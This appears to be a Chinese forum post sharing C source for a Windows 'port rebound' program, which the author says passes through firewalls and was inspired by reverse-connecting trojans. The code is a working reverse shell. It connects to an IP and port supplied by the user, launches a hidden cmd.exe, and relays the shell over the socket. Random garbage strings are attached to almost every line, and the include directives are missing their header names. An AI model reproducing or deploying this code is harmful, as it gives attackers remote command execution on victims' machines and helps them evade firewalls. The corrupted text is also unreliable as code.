Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 bxN;"{>Xz  
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/* ============================== sfV.X:ev  
Rebound port in Windows NT =l(JJ  
By wind,2006/7 m@@Q
T<  
===============================*/ HFr3(gNj@  
#include Wy4^mOv  
#include >S!DIL  

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#pragma comment(lib,"wsock32.lib") NM@An2  
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void OutputShell(); [*G2wP[$  
SOCKET sClient; Fjzk;o  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; @>]3xHE6#=  
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void main(int argc,char **argv) q(7D8xG;F  
{ :/NN=3e  
WSADATA stWsaData; /;4MexgB%  
int nRet; [Mz;:/  
SOCKADDR_IN stSaiClient,stSaiServer; M@kZ(Rkv  
qJA.+q.e$e  
if(argc != 3) CiuN26>  
{ }#8uXA  
printf("Useage:\n\rRebound DestIP DestPort\n");
? st#6=M  
return; 50&F#v%YB  
} +][P*/Ek  
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WSAStartup(MAKEWORD(2,2),&stWsaData); udFju&!W  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qfu2}qUX~%  
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stSaiClient.sin_family = AF_INET; CK(ev*@\D,  
stSaiClient.sin_port = htons(0); ?6d4T  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); _|ib@Xbin  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) }NCvaO  
{ W~3tQ!  
printf("Bind Socket Failed!\n"); K]8wW;N4  
return; l*Ei7 |Z  
} BA-nxR  
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stSaiServer.sin_family = AF_INET; =on!&M  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); GiXde}bm  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); fZ}Y(TG/  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ?MM3LA! <  
{ df*#?Ok  
printf("Connect Error!"); AnY)T8w  
return; /zf>>O`  
} v4_OUA>z,  
OutputShell(); h)8+4?-4I  
} AJfi,rFPg  
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void OutputShell() ;6nZ  
{ cl{W]4*$  
char szBuff[1024]; k_<{j0z.  
SECURITY_ATTRIBUTES stSecurityAttributes; X3{1DY3@u  
OSVERSIONINFO stOsversionInfo; i8_x1=A  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; U!:!]DX(  
STARTUPINFO stStartupInfo; oxQID  
char *szShell; %:KV2GP  
PROCESS_INFORMATION stProcessInformation; WgJAr73 l  
unsigned long lBytesRead; q_y,j&  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 8$ZSF92C  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 9}cuAVI  
stSecurityAttributes.lpSecurityDescriptor = 0; /}`/i(k  
stSecurityAttributes.bInheritHandle = TRUE; w"agn}CK  
/ 7XdV  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); VhFRh,J(T  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 07Q[L'}y@  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $H-D9+8 7  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1{x~iZa  
stStartupInfo.wShowWindow = SW_HIDE; ZT"|o\G^
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stStartupInfo.hStdInput = hReadPipe; 7. 9s.*  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ynZ[c8.  
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GetVersionEx(&stOsversionInfo); C6U
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switch(stOsversionInfo.dwPlatformId) V/}>>4  
{ qzt2j\v  
case 1: I"32[?0 (;  
szShell = "command.com"; $Cd;0gdv  
break; nP\V1pgA  
default: (SsH uNt.  
szShell = "cmd.exe"; 
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break; =j+oKGkoCa  
} Ge:-|*F  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); M1]6lg[si  
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send(sClient,szMsg,77,0); "Dl9<EZ  
while(1) ?ey&Un"  
{ MAe<.DHY  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); `x$}~rP&)!  
if(lBytesRead) 'CX.qxF1;p  
{  n22hVw  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); +yb$[E*  
send(sClient,szBuff,lBytesRead,0); 6"Lsui??  
} ~26s7S}  
else %rDmW?T  
{ '+!S|U,{  
lBytesRead=recv(sClient,szBuff,1024,0); O/Mz?$8J  
if(lBytesRead<=0) break; J4[x,(iq(  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); / }XsuH  
} 1%hM8:)i_  
} VUy)4
*  
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return; hGA!1a4 c  
}